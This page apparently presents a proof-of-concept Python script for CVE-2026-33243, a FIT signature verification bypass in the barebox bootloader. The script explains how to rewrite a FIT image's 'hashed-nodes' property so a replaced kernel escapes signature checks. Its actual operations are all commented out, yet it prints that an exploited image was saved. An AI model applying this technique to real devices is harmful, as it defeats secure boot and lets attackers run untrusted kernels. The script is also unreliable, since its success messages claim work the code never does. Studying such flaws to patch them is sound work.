CVE-2026-33243 barebox FIT签名验证绕过漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-33243: Modifying hashed-nodes in FIT image # This script demonstrates how to manipulate the FIT image structure. # Requires pylibfdt or similar library to handle device trees. import sys def exploit_fit_image(fit_image_path, output_path): """ Exploit the FIT signature verification bypass by modifying hashed-nodes. """ print(f"[*] Loading FIT image from {fit_image_path}") # In a real scenario, use fdt_open or similar to parse the DTB # fdt = fdt_open(fit_image_path) # Locate the signature node # signature_node = fdt.path_offset("/configurations/conf-1/signature") # Modify the 'hashed-nodes' property to exclude the malicious kernel node # Original hashed-nodes might list "kernel@1", "fdt@1" # Attacker changes it to only reference "fdt@1" (assuming kernel is replaced) # fdt.setprop_string(signature_node, "hashed-nodes", "fdt@1") # Save the modified FIT image # with open(output_path, 'wb') as f: # f.write(fdt.as_bytearray()) print(f"[!] Exploited FIT image saved to {output_path}") print("[!] The bootloader may now skip verification of the modified kernel.") if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python3 exploit.py <input_fit.itb> <output_fit.itb>") sys.exit(1) exploit_fit_image(sys.argv[1], sys.argv[2])